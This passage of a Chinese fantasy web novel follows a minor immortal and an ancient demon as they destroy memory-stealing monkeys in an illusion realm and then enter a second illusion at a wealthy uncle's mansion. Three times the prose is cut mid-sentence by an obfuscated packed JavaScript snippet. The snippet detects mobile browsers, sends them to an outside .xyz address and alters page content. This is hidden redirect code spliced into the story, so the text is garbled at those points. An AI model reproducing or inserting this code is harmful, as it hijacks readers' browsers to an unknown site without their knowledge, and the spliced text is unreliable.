不过,朝朝见识过那群猴子的数量,玄烛怕是要抬个千百次手,才能将其全部铲除。 这下玄烛的动静闹得挺大,朝朝心想自己还是赶紧回到身体上为妙,以免其余的猴子突然跑回来袭击他们。 她的脑袋刚飞到身体前,刚刚的念头就成了真。 阴风四起,与玄烛引起的风不同,这风带着林中的潮湿腐朽之气,紧接着,朝朝在胸口前的铜镜里看到数道黑影从周遭的林中窜出。 即便没了古树做掩护,那些猴子也十分难捕捉,眼睛刚看到它们落地,下一瞬它们又现身在别处。 玄烛微垂着眼睫,漆黑的眼瞳轻蔑地瞥向不断自己靠近的黑影,随后他微抬双臂,数道浓黑的煞气从袖中飞出,紧紧缠绕住那些黑影。 被缠住的猴子停在半空中,痛苦地挣扎起来,可越是挣扎身上的煞气就缠得越紧。 随着玄烛手腕的转动,其中一只猴子被煞气撕得四分五裂,血肉横飞。 四周弥漫起血腥味,玄烛的唇边却露出一个近乎残忍的笑容。 他很享受这样的杀戮。 朝朝的脑袋悬在自己的心口前,透过铜镜看着这一幕,心下越发觉得这上古天魔可怕。 玄烛的袖中飞出更多煞气,朝其他的猴子飞去,一时间血色漫天。 看着玄烛大开杀戒的样子,朝朝以为这个幻境终于要结束了,可玄烛的动作忽然一顿,在半空中飞荡的煞气也倏地停住。 他定定地看着面前的一只猴子,而那猴子墨绿色的双眼中,有道诡异的光芒闪过。 朝朝震惊地瞪大双眼。 透过铜镜去看那些猴子的眼睛,她终于明白赵成想说的是什么。 绝对不要看猴子的眼睛。 那双眼可以控人神智,还可以夺取所有与它们有关的记忆。 不管之前见过它们多少次,只要看过那双眼,都会忘得一干二净。 检查无名吊尸时,朝朝就发现了这邪祟,她抬头时看到树叶间墨绿色的眼睛正阴森地注视着他们,却在惊叫过后忘记了此事,只残留下惊恐的感觉。 也是在那时,王友平几人遇到其他猴子,被吓得围在车子周围慌张乱跑,最后乔叔被掳走,剩下的人则被夺取记忆。 后来朝朝想阻止玄烛追杀卢风几人,却在追赶玄烛的半路上遇到猴子,她被猴子抓伤后吊起,虽然未死,但有很长一段时间她都被控制着,所以徐大飞在逃跑途中经过她的尸体,而她却完全不记得有这件事,直到卢风找到她前才恢复正常,这也就是为什么卢风说自己在林中转了一个多时辰才找到她,而朝朝感觉只过了一盏茶的时间。 在尸林中,她感觉有东西靠近,回头去看却遭到袭击,猴子抓伤了她的脖颈,但她也在瞬间看到了猴子的模样,因为林中的古怪,她怕自己会再忘记此事,于是慌忙转身在玄烛的掌心中留下黑猴子三字,随后有大量猴子袭击他们,他们也因此走散。 与玄烛分开后她迷路了很久,在树上留下一个又一个标记,可却一直在原地转圈,直到她再次撞上猴子,失去了转身后的所有记忆。 之后她遇到赵成,被猴子抓伤了眼睛,她的双眼便一直视物模糊,这才破解了猴子们的邪术。 至于赵成为什么没有中邪术,大抵是因为赵成的左目接近于盲,又被吓得神志不清了,那邪术才会对他无用。 那些被朝朝遗忘的记忆,全部涌回脑中。 可现在该怎么办?玄烛被控制了,这面铜镜能看到的范围很小,要她借此镜避开所有的猴子眼睛根本不可能,更何况她的法术根本斗不过这些猴子。 铜镜中,玄烛的身影悬在半空中,本就没有多少情绪的双眸,此刻变得更加空洞,已有几只黑猴子爬到他身上,正阴恻恻地低笑着,同时地上的几只猴子也向朝朝跳来。 她畏怕地紧闭上双眼。 “疼就疼吧。”朝朝用力一咬牙,立刻让脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966622|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋归位,施法烧断绳子后,她凭着感觉飞快地向玄烛飞去。 身上被扑来的猴子抓出了许多伤口,可她不敢犹豫,因为哪怕有半点犹豫她都会被猴子抓住,看了那些眼睛会再次失去记忆,一次次的遗忘,一次次的重蹈覆辙,他们将永远被困在这个密林中。 朝朝胡乱地向四周放出火焰驱赶着靠近的猴子,然后继续向前。 触到玄烛冰冷的手时,朝朝一把扯下缠着发髻的粗布发带,蒙住玄烛的双眼。 “天魔大人!” 似是听到了她的声音,朝朝感觉到玄烛的指尖微动,她闭着眼飞快地说道:“不能看猴子的眼睛,它们会控人神智并夺走记忆......” 她的话还没说完,一只趴在玄烛身上的猴子凶狠地抓向朝朝的脸,在她的唇边留下深深的伤口。 温热的血珠飞溅到玄烛脸颊上,被蒙住眼的他微微侧脸,下一瞬周身荡开层层煞气,将那些猴子弹飞了出去。 朝朝忍着脸上的疼痛继续说道:“不想中邪术就不能睁开眼,可那些猴子数量众多,动作又快,想闭着眼睛除掉所有邪祟,根本不可能。” 玄烛又随手劈开一个不断靠近的黑影,冷声问道:“你想说什么?” 朝朝用力握紧玄烛的手:“天魔大人,在这里我只有你可以依靠,同样的,天魔大人也只能依靠我,所以一会儿天魔大人负责杀,我就负责帮你看那些邪祟的方位。” “我来做你的眼睛。” 她的声音明明很柔软,可吐出的每个字都很坚决。 “不过天魔大人要拉住我的手,如果我又不小心忘记什么,就提醒我该做的事情。”说完,朝朝深吸了几口气。 做好准备,她正要睁开双眼去看周围,却听到玄烛冷笑了一声。 “自不量力。” 他的声音里满是嘲意与冷漠,随后朝朝感觉自己的衣襟被玄烛粗暴地抓住,耳边顿时响起呼啸的风声。 朝朝下意识睁眼去看,才发现玄烛已经带着她飞到密林的正上方。 他们俯瞰着下方广袤无边的密林,而那些猴子也快速爬上树,准备借着古树高高跃起,将他们重新拉回密林中。 “我不需要依靠任何人,而且......”玄烛的声音里没有一丝感情,“不用眼睛,也能杀它们。” 一条浑身燃着冥火的龙在玄烛身后乍现,对着下方的猴子们怒声咆哮,朝朝被咆哮声弄得一阵耳鸣,披散开的长发也被冥龙身上磅礴的杀气吹得凌乱。 冥龙巨大的身躯盘旋在空中,片刻后它低头,冷冽的竖瞳看向朝朝。 它眼中的朝朝,就像一只可怜无助的小蚂蚁。 待冥龙从朝朝身上移开视线,它凶狠地俯冲向密林,所经之处皆会留下冥火和煞气肆虐,惊得地动山摇,古老的参天大树尽数被卷入冥火中,从根至叶皆化为灰烬,随风飘远。 猴子们也顾不上其他,开始疯狂的逃命,奈何密林已被火海覆盖,逃无可逃。 朝朝呆怔地仰头看着面前的玄烛,许久都没有回过神。 似是感觉到她的视线,玄烛抬手缓缓扯下蒙着眼睛的带子,看着朝朝呆傻的样子,他淡淡开口:“怎么?你又中了邪术?” 朝朝依然傻气地看着他,半晌才喃喃道:“书上说上古天魔杀人不眨眼,吃人不放盐......” 她的声音很小,但玄烛还是听得一清二楚。 他揪着朝朝的衣襟,将朝朝拉得离自己更近了些,然后低头凑到朝朝耳边,弯唇问道:“谁说我吃人不放盐?” 这声音犹如附骨之疽,一沾上便再难摆脱。 不等朝朝回答,她又听到玄烛唇间吐出更轻的声音。 “我放盐,并且加辣。” 7. 不见天日 蓝色的火焰熊熊燃烧,仿佛天地间只剩下这一种颜色,火焰中是痛苦挣扎的躯体,在扭曲的热浪中逐渐变形。 冥火烧了多久,猴子们的惨叫声就在下方回荡了多久。 待整片密林全部被冥龙的火焰吞噬,玄烛轻挥衣袖,火海瞬间熄灭,冥龙也随之消失不见。 本来乌云密布的天空已经放晴,阳光洒落地面,驱赶着余下的寒意。 玄烛带着朝朝缓缓落地,脚接触到地面,朝朝才猛地回过神,整个人向后跳了一大步,抱着自己的身体,认真问道:“像我这样的小仙女,肉肯定是甜的,天魔大人不喜欢吃甜的吧?” “甜的?”玄烛沉吟片刻后,幽幽说道:“我还没吃过甜的,正好尝尝。” 说完,他又向朝朝伸出手。 看着玄烛的手越来越近,朝朝的心咯噔一声。 好家伙,这要是让玄烛尝了,他觉得好吃,以后动不动就要来上一口的话,她不就遭殃了?! 就在那只手要碰到朝朝的瞬间,玄烛身后突然闪起金光。 察觉到身后的异样,玄烛停下动作回头看去,半空中已经出现几行竖着的金字。 【密林邪祟已除,不见天日破境。】 字的下方逐渐扭曲,最终形成一道黑色的雕花木门,木门上雕刻着一只精致的兽,鹿头牛身,背上还生着一双鹤翅膀。 门倏地打开,门内一片黑暗,还隐隐吹出带着凉意的风。 看着那扇门,朝朝欢喜地拍手说道:“我们终于破境了!” 玄烛微转幽深的视线,冷睨着笑容灿烂的朝朝,却没有多说什么,片刻过后他抬脚向那道门走去。 朝朝刚迈出一步,身后有人突然叫住她。 “小妹!” 她停住脚步转身去看,才发现卢风与徐大飞正狼狈地坐在不远处的地上,他们已经摆脱邪术的控制,神色说不出是恐惧还是震惊,都瞪大了双眼看着朝朝。 朝朝有些惊讶,她可没指望刚才的情况玄烛能放这二人一条生路,没想到他们竟然活下来了。 定是玄烛没有下杀手。 略微思忖后,朝朝向那二人走去,最终她停在徐大飞身边。 她默声看着徐大飞片刻,然后一脚踹了过去。 “叫你捅我,我根本没害过你,还想护你的命,你对我倒是下手狠!我看你就是乌龟吃煤炭,一整个黑心小王八!”朝朝嘴里骂着,在徐大飞的腿上用力多踩了几脚。 徐大飞在她脚下疼得吱哇乱叫,连连认错求饶。 收回脚后,朝朝用食指拨开额前凌乱的发丝,长吐一口气,之前心中的憋闷总算解开了。 她正要转身朝黑门走去,又听到了卢风微弱的声音。 “小妹......”卢风看着她,神情有些复杂,有着歉意和愧疚,还带着一点感激。 朝朝微顿。 她能理解卢风的行为,本该死了的人又活了,这是一个凡人所不能理解的事情,他想逃离并没有错。 可在卢风转身离开,抛下她不顾的刹那,朝朝还是觉得很伤心。 至少亲人之间,不该轻易舍弃。 她低着头,沉默了许久,半晌才看向卢风。 “我不是你的小妹,亦不是妖邪。”朝朝一字一句说道:“我叫朝朝,今朝的朝,朝阳的朝,乃九重天崇明上神宫内的典灯小仙,纵使品阶微末,也不是你等凡夫俗子可以高攀的。” 说完,她转身大步离开。 卢风瞪大双眼震惊地看着她的身影,再叫不出小妹二字。 走入那扇黑色的门时,朝朝才注意到玄烛并没有先离开,而是站在那扇门里静静地注视着她,耳边垂下一缕墨黑的发随风紧贴着他的脸颊,一眼看去还以为他苍白的脸上多了一道裂缝。 见此,朝朝弯唇笑起来:“天魔大人是在等我吗?” 玄烛没理会她的话,而是将视线从她的头上方越过,看向门外的卢风和徐大飞二人,半晌才幽幽开口:“就这样?” 朝朝眨着杏眼,不解地看着他,有些不明白这话的意思。 玄烛垂眸看向她:“一个杀你,一个背叛你,你打算就这样放过他们?” “原来是说这个。”朝朝明了地点着头,转瞬又露出笑脸,“我不怪卢风,他在这里只是凡人,心有所惧实属正常,更何况兄妹之事于我来说本就是假,何谈背叛?至于那个徐大飞,若是捅他一刀,恐怕会脏了我的手,不过......” 说着,朝朝用右手打了一个响指,门外的徐大飞脑袋上立刻起火,徐大飞尖叫着拍打起自己的头,许久才灭了火,可头上也没剩几根头发了。 朝朝对玄烛调皮地吐了下舌头:“天魔大人可觉得解气?” 玄烛看着她一阵沉默,许久才冷冷吐出声音。 “你的事,与我何干。” 说完,他转身向黑暗深处走去。 朝朝眼含笑意看着他的背影。 虽然玄烛冷漠的模样她还是没有适应,可她的心下也生出了一丝疑惑。 这个可以毁天灭地的天魔,当真如崇明上神所说的那般凶残狠戾吗? 朝朝挥开脑中杂乱的思绪,抬脚走向黑暗,她向前走了几步,身后的光亮倏地熄灭,无尽的黑暗扑面而来,将她吞噬。 紧接着便是一阵头晕目眩。 有一瞬间,她好像看见一道金色的身影站在远处...... * “太一神曾在六道镜中看到苍生覆灭的景象,日月陨落,六界冰封,那六道镜中所示必然成真,若想拯救苍生,只有找到可以重唤六界生机的追曜珠。” “朝朝,只要跟着天魔,你定能拿到追曜珠......” 朝朝猛地睁开眼,映入眼帘的却是一颗森白的骷髅头,吓得她急忙坐起身,用脚将骷髅头踢开。 她的呼吸有些凌乱,看着满地的白骨,和远处无尽的黑暗,记忆慢慢复苏。 十恶境,密林中的黑猴子,玄烛的冥龙......回想起之前发生的一切,朝朝有些失落。 她还在十恶境内,而刚刚的崇明上神才是她做的一场梦。 虽为梦,但确实是崇明上神交代过她的事。 她心事重重地看向自己的右手掌心。 跟着玄烛拿到追曜珠......崇明上神还真是看得起她,天上有那么多的神仙,偏偏就把这么重要的任务,交给她这个负责点灯熄灯的小仙了。 收回思绪后,她摸了摸自己的脸颊,才发现脸上的伤口已经消失不见,衣服也变回她落入十恶境时的那身了。 看来只要破解幻境,一切都会回到原样。 朝朝欢喜地环顾四周,最终在身后的不远处看到了玄烛的身影。 此刻他正背靠着白骨堆成的小山堆,一只腿屈起另一只腿伸直,双手则环在胸膛前,安静地合着眼,也不知是睡了还是没睡。 朝朝从地上爬起,小跑到玄烛身边蹲下,伸出右手食指,小心翼翼地戳了戳玄烛的肩膀。 玄烛没有理会她。 “睡着了?”朝朝小声嘀咕道。 片刻后她双手合十用力搓了搓,感觉差不多了,她就将手伸向玄烛的衣襟。 指尖还未碰到,玄烛就睁开了眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966623|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一把抓住她的手腕,冷声问道:“做什么?” 怕他误会,朝朝连忙解释:“我以为天魔大人睡了,这地方冷,我又没有其他东西给你当被子,就想把手弄热,然后伸到你的衣服里给你取暖。” “取暖?” 玄烛蹙眉打量着她说话的神情,明显是对她不信任,很快他又将视线落在抓着朝朝手腕的手上。 他甩开朝朝,掌心中已留下一片烧伤。 玄烛的眉头皱得更紧了些:“至阳之火?” 听到这四个字,朝朝笑道:“是啊,说起来我同天魔大人还真是有缘,我天生便能控制至阳之火,只是不如天魔大人控制冥火那般厉害。” 玄烛微转凉薄的视线,看着朝朝的笑脸,他的眸底滚动着浓郁的戾气,半晌他才幽幽开口:“你可知琉璃净火?” 朝朝有些疑惑地看着他,随后她才看到玄烛掌心的伤,慌忙说道:“糟了,我刚才烫伤你了?对不起,我虽可以控制至阳之火改变身体的冷热,却拿不准火候,刚才我觉得这里挺冷的,所以才会把掌心弄得非常热,没想到会把天魔大人烫伤,这绝不是我故意的哦......” “你不知道琉璃净火?”玄烛沉声打断朝朝,继续着刚刚的问题。 朝朝答道:“我听崇明上神说过这东西,能净化煞气,百邪不侵,可我从没亲眼见过。” 玄烛幽沉地看着她,在她脸上找不出半点说谎的痕迹。 半晌玄烛收回手,翻手的瞬间,掌心中的伤痕消失得无影无踪,他重新合眼,身边的朝朝又开口问道:“天魔大人,第二重幻境什么时候开始?” 玄烛没有作答,他想没了接话的人,这杂碎小仙应该能安静些,却没料到朝朝自己一人也能唠起来。 “估计天魔大人也不知道,因为你也是第一次来这里,对不对?不过没事,有了第一次的经验,这第二重幻境于我们来说会简单很多,不过下次我们可要长个记性,幻境里捏造的都是凡人,我们不能胡乱使用法术,他们接受不了就会把我们当做妖邪对付,这反倒给我们添了破境阻碍,我就是最好的例子,白白挨了一刀,天魔大人说是不是......” 朝朝话音还没落下,就见玄烛又睁开了眼睛。 他薄唇微抿,眸色泛冷,微微转动脖颈,似乎在隐忍什么。 察觉到杀意,朝朝缩了缩脖子,咽了下口水后紧张地问道:“天魔大人,你怎么了?” “我在想......”玄烛转头看向她:“你这么能说,舌头一定很好吃吧?” 朝朝连忙用双手捂住嘴,摇头说道:“不好吃不好吃,我不说了。” 周围安静下来,玄烛再次合眼。 一变得安静,周遭的景象就格外清晰起来。 凄冷的风,可怖的白骨,没有尽头的黑暗。 朝朝也背靠着白骨堆坐下,她抱紧着自己的双膝,孤单地看着前方。 她从没有经历过这样的孤寂,仿佛六界已经抛弃她。 幸好身边还有个上古天魔,即使这位话少得可怜,可对现在的朝朝来说也算是一种安慰。 想到这里,她捂嘴偷笑,没想到可怕的上古天魔也能成为她心中的幸好,这要是说出去肯定有人会觉得她疯了。 不知过了多久,朝朝的呼吸渐沉。 玄烛微抬眼帘,漆黑的眸子幽幽看向歪着脑袋睡熟的朝朝。 身在十恶境内,旁边就是凶恶的上古天魔,她还能睡得这么香,当真是没心没肺。 这小仙怕是从未尝过绝望的滋味。 不像他,注定永生永世活在绝望中...... 8. 千阴宅 奔跑的马车外浓夜沉沉,雷雨交加,狂风掀起车窗的帘子,将飘摇的雨丝吹入车内,寒意钻入衣襟,惹得朝朝咳嗽了几声,随后悠悠转醒。 见她醒来,商枝连忙拿起小炉子上的茶壶,为她倒了一杯热茶。 “小姐,这一路太颠簸,可苦坏了您,快喝点热茶暖暖身子。”商枝将茶杯塞进朝朝手中,触到朝朝微凉的指尖时,还贴心地将她的手攥入自己掌心中焐了焐。 朝朝有些呆怔地端着茶杯,借着杯中淡绿色的茶水理起思绪。 她靠着白骨堆睡着了,没想到就这样稀里糊涂地进入了第二重幻境。 这次她是一个商人的女儿,家中是做布匹绸缎生意的,本是幸福的一家,可惜天有不测风云,父母在一次乘船送货的途中遭遇水匪,不幸丧命,还丢失了大批贵重的锦缎,她也因此背上了数目不小的债务。 朝朝是家中独女,而这里的规矩是女子在家从父,出嫁从夫,如今她没了双亲,家中也没有个亲戚可以帮衬,她又未曾定过亲事,更不愿为了家业找个不喜欢的男人嫁了,就想独自撑起家中生意,尽快偿还债务。 奈何世道对女子不公,听闻她想行商,整个郯城的人都将她视为笑话,还骂她一个未出阁的女子不懂得守本分,要在外抛头露面不知羞耻,外面的闲话多起来,铺子里的生意更是一落千丈。 她独自一人在这不公的世道中求生已是艰难,债主又日日紧逼,若再拿不出银两,那些人便要朝朝用自己偿还。 眼看她要无法支撑时,从邺城送来了一封信。 信中人称自己为朝朝的舅父,朝朝的母亲在少时因婚嫁的事与家中生了嫌隙,自离家后便与亲人断了往来,所以朝朝才会从未听说过舅父的存在,不过这个舅父一直都有打听她家的事情,如今知晓了朝朝的遭遇,心疼她所受的苦,打算将她接到邺城照顾,债务的事情也会由这位舅父帮忙偿还。 她已无路可退,只能及时抓住舅父这个救命稻草,先渡过眼前的危机再做打算。 不过做决定前,她细细打听了舅父的事情,她的舅父名叫桑岐南,也是位商人,做的是金银玉器的生意,家中堆金积玉,富可敌国,但为人和善,经常帮助邺城的穷苦百姓,在当地十分有名。 打听到桑岐南是个好人后,她才放下心来,写了回信,打理好一切后,带着婢女商枝来了邺城。 理清思绪后,朝朝轻叹一口气。 这幻境还真是麻烦,光是人物背景就这么长,还不如把她直接丢到邪祟面前打一架来得痛快。 听到她的叹气声,商枝以为她是为以后寄人篱下的日子烦心,便出声安抚起她:“小姐,桑老爷已经帮咱们偿还了债务,以后也定不会苛待您的,您先安顿下来,等把身子养好了再想如何报答桑老爷的事。” 朝朝轻咳一声,微垂眼睫点了点头后问道:“还有多久能到?” 商枝:“还没到山脚呢,今夜雨大,路不好走,估摸着还要一个时辰。” 闻言,朝朝用手轻挑起车窗的帘子向外看去,远处的山立在雨幕后,在夜色中显得越发朦胧。 “舅父家也真是奇怪,大宅竟然在如此偏僻的山上。”朝朝小声说道。 商枝说:“桑老爷之前是住在城中的,搬到山上的宅子也才不足两个月,想来是这处宅子有什么特别之处吧。” 朝朝若有所思地点点头。 眼看着离那座山越来越近时,马车突然停下,商枝连忙问外面的车夫:“怎么了?” “姑娘,有人拦路,不知是不是二位认识的人?”车夫回道。 朝朝与商枝奇怪地对视一眼,然后商枝掀开车门的布帘向外看去。 茫茫大雨放肆倾泻,马车前停了五个骑马的男人,肩上披着蓑衣,头上的斗笠半遮着面。 那五个男人高大威武,商枝不由紧张起来,害怕遇上拦路的盗匪。 但很快为首的男人便抬起头,一双丹凤眼含着温和的笑意,开口说道:“朝小姐别怕,我们是桑家的护卫,我叫陆承,今夜雨大,山路不好走,老爷怕小姐路上遇到危险,特意派我们几个下山来护送您。” 听到这话,商枝松了口气,退回到马车内看向朝朝:“小姐,桑老爷还真是了不得,竟然派了五个护卫来护送您。” 朝朝略微思忖后,倾身向前,掀开一点布帘,半张脸从布帘后露出,向外看去。 那个叫陆承的男人生了副好皮囊,看到小心翼翼的朝朝后笑意更深。 可在这个喧嚣的雨幕中,朝朝却觉得陆承身旁的男人更为扎眼。 只他一人的蓑衣下穿的是红衣,腰间用墨色的丝帛为带,腰侧还挂着一柄长刀,脚下踩着带有海涛暗纹的靴子,肩宽腰细,身形修长,头上的斗笠将脸全部遮住,却遮不住一身的戾气。 朝朝怔了一下。 这感觉,该不会是...... 她正在想,那男人就抬起了头。 眼尾那抹熟悉的红在夜雨中显得越发妖艳,可那人的视线却犹如索命的阎罗,阴冷地注视着躲在布帘后的朝朝。 “天......”朝朝下意识吐出一个字,又连忙止住声音。 在此幻境中她并不认识玄烛,若是她表现得与玄烛过于熟络,怕是又要与上次一样,令人生疑,不得不去同他人做解释。 想着,朝朝避开玄烛的视线,垂眸轻声道:“有劳几位了。” 陆承微微颔首:“分内职责所在,朝小姐不必客气。” 朝朝回到车内,随着布帘放下,马车继续前行。 陆承的马走在最前方,他回头瞥了眼跟在后面的马车,对身旁的玄烛小声说道:“你刚才瞧清楚那位朝小姐的模样了吗?雨太大,马车里又暗,我瞧得不真切,但感觉是个美人呢。” 玄烛看着前方,不做言语。 没得到回应,陆承知趣地闭了嘴。 一路上这大雨都没有要停歇的迹象,马车艰难地前行着,等看到桑家大宅时已经是子夜了。 应该是为了等朝朝,桑宅的大门前还是灯火通明,马车刚停稳,两扇大门便打开,几个人撑着扇急匆匆地小跑出来。 朝朝在商枝的搀扶下走下马车,陆承上前为她们打伞,一个中年男人欢喜地迎过来,看到朝朝便出声唤道:“阿朝。” 男人肥头大耳,但眉眼含带慈爱,身上的衣服是极好的缎子,腰间的玉钩上还镶嵌着一小颗夜明珠。 看这财大气粗的样子,应该就是她的舅父桑岐南了。 “舅父。”朝朝也露出笑脸,乖巧地叫道。 听见这声舅父,桑岐南笑得更加开怀。 桑岐南身后穿着华服的女人说道:“老爷,别在这里说话了,风大雨大的,阿朝又奔波了几日,她本就体弱,我们先回屋再说。” “对,你说得对,阿朝快随舅父进屋。”桑岐南说完,华服女人就拉起阿朝的手,引她向大宅走去。 迈进桑宅大门时,朝朝下意识回头看去。 玄烛还站在马车旁,侧着脸不知在看何处。 雨水打湿了他的发尾和衣衫,旁的人都忙着躲雨,可他像是习惯了这样潮湿的雨天,孤身站在晦暗处,与这世间万物都显得格格不入。 最后马车前挂的灯笼被熄灭,其他人也提着灯笼从他身旁小跑开,而他融到了阴暗中,无人问津。 朝朝唇瓣微动,但未能出声,便被他人拉走。 桑宅大门缓缓合上,喧闹的人声远去,玄烛才微转视线看向朝朝离开的方向...... * “这是你舅母,家中事务都是你舅母一手操持,以后你有任何需要也可同她说。”桑岐南指着刚刚拉着朝朝的华服妇人说道,随后又看向坐在朝朝对面的两男一女:“这三位便是你的表哥表姐。” 身穿紫袍的男子笑着将话接过去:“我叫桑远,以后你便叫我远表哥。” 桑远面容俊朗,但面相却带着精明,他又拍了下身旁年少些的男子:“这是我的弟弟桑洵,他与婉婉是龙凤胎,比我小两岁,但于你还是年长些的,所以你也应叫表哥表姐。” 桑洵也生了副不错的样貌,但与桑远不同,他性格内敛,气质温润如玉,和朝朝对上视线时露出了客气的微笑,桑婉则坐在他身旁,圆眼薄唇瓜子脸,鼻尖上长了一颗芝麻大小的痣。 这三人可能是都随了母亲的样貌。 朝朝在脑中努力记着这些人,学着大家闺秀的模样,柔声叫道:“阿朝见过远表哥,洵表哥,婉表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966624|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐。” 看着她乖巧可人儿的模样,桑家人都很是喜欢,只有一人,打从朝朝下马车后就没露过笑脸。 桑婉神色疏离地看着朝朝,似乎并不欢迎这个表妹,朝朝对她笑,她也没有半点反应,反而刻意地将脸转向另一边,这让朝朝感觉很尴尬。 不过站在桑婉身后的小婢女倒是很喜欢朝朝的样子,朝朝只是视线从她身上经过,那个小婢女便立刻露出欣喜的笑脸。 简单说了几句家常话后,舅母荣欣兰说道:“今夜夜深了,先让阿朝去休息,明日我们再细细地聊,阿朝,往后你就住在南院的屋中,舅母都帮你安置好了,你且安心地住下,若发现还缺什么,再同舅母说。” 朝朝点头:“多谢舅母,劳您费心了。” 聚在正堂的众人终于散开,两名小婢女带着朝朝和商枝向南院走去,一个叫天葵,另一个正是刚刚站在桑婉身后的丫鬟,名唤南星,舅母让她们往后留在朝朝屋中伺候。 朝朝根本不需要什么婢女,而且已经有一个有商枝了,眼下又多了两个。 她垂眸思忖,踏入桑宅后她一直暗中观察着这里,与上一个幻境不同,这宅中不像有邪祟的样子,没有半点阴邪之气,桑家众人也没有古怪的地方。 不知此幻境如何才能破解...... 正想着,一个身影忽然跳出来拦在朝朝身前。 朝朝抬头才发现是桑婉。 “你不该来这里。”桑婉压着声音,冷声说道。 说完,桑婉转身大步离开。 朝朝怔怔地看着她离开的背影。 若说哪里奇怪,也就只有桑婉比较奇怪了,朝朝思来想去都不知自己怎么得罪了这位表姐。 回到南院的屋子,天葵和南星为朝朝备好热水后便退出屋子,待只剩下朝朝与商枝二人后,商枝才大胆地打量起四周。 黑檀木制的大床上挂着层层叠叠的粉色软纱帐,还有同样是黑檀木制的桌椅柜子与妆奁,打开柜子里面还有许多新衣裙,做工与料子都是极好的。 “小姐,桑夫人对您真好,这屋子布置得干净又漂亮,一看就费了不少心思。”商枝笑着小跑回朝朝身边:“这下小姐应该能安心住下了吧。” 朝朝四下看了一圈,心里想的却是要想彻底安心,还要在这屋中摆个玄烛。 洗漱后,朝朝换上薄如蝉翼的寝衣躺下,商枝一边放下两旁的纱帐一边说道:“小姐,我怕您不习惯,今夜我就守在门外,您若有事叫一声我便能听到。” 朝朝还想趁着夜深出去查探一番呢,若商枝守在门外她就难离开了,于是说道:“你也累了,我没什么不习惯的,你就回房休息吧。” 商枝还想说什么,朝朝又说道:“你在外面守着,若是被别人看到,再误会我事多,万一留下个难伺候的印象就不好了,放心,你的屋子就在旁边,若真有事我大声叫你,你也能听到。” 这话终于劝动商枝,她点了点头,放下纱帐后退出房间。 看着商枝离开,朝朝并没有急着起身,而是平躺在床上,看着上方发呆。 被子与床褥非常柔软,屋内还缭绕着凝神静心的沉香,她躺在其中不由自主地放松下来。 虽说不该如此,但她还是忍不住想要享受片刻。 她轻合上眼,呼出一口气。 这幻境比上一个好多了,至少给了她一张舒适的床,不过和她比起来,玄烛就...... 想到这里,朝朝猛地睁开眼,顿时清醒了大半。 一想到玄烛,她脑中便浮现出玄烛站在雨中的情景。 那样的玄烛,看起来很孤独。 这念头可能有点荒唐,杀人不眨眼的天魔怎么会孤独啊...... 不过她还是坐起身,打算出去找一下玄烛。 她走到柜子前,从中拿出一身天蓝的衣裙,正想要换上时,突然从衣裙上掉出一张卷起的纸条。 朝朝捡起纸条,缓缓展开,认真看起上面的字。 三、入夜,睡前需将自己鞋子的鞋头朝向床侧,等到白日醒来一定要查看鞋头的朝向,鞋头依然朝向床侧则一切如常,若鞋头朝向了屋门,绝不可起身离开房间,门外不是你所认识的桑家,切记切记! 9. 千阴宅 朝朝疑惑地看着纸条上的字。 这纸条是谁写的?上面这些字又是什么意思?难道是要她按照纸条上写的做吗? 这十恶境中善恶难辨,稍不留神便会死上一次,到底该不该按照纸条上写的做,她一时还无法做出判断。 不过这纸条应该能成为破境的线索。 想着,她将纸条放入袖中,正打算转身时,夜风忽然吹开窗户,一个黑影飘然飞入屋中,而屋内也随着那黑影的出现升起冷意。 最终他落在朝朝面前,一身的阴冷如重石般压在朝朝身上。 朝朝怔愣一瞬才回过神,紧接着露出笑脸说道:“我们竟想到一处去了,我正要去寻天魔大人呢!” 听到这话,玄烛厌恶地瞥了她一眼,随后又冷漠地收回视线。 不过朝朝并没有在意玄烛的厌恶和冷漠,而是将视线移向他头顶的束发。 玄烛本来披散的长发已经用银冠高束成马尾,如此束发倒是让他阴郁的五官爽朗了很多。 朝朝双眼一亮,出声讨好起他:“天魔大人这样束发很好看……” 这次玄烛打断了她的声音:“你倒是适应得快,似乎半点不怕被困于此。” “我怕啊!我面上虽然毫无波澜,但内心已经慌成一团了。”朝朝急忙说着,然后笑嘻嘻地扯了两下玄烛的袖口,“不过有天魔大人在,我就不用怕了,只要你大手一挥,任何邪祟都能化为灰烬。” 玄烛冷着脸甩开朝朝的手,转身走到屋子中央的圆桌前,深邃的视线落在香炉上。 “你想依靠我离开十恶境?” 朝朝微顿,片晌后诚实地点头回应。 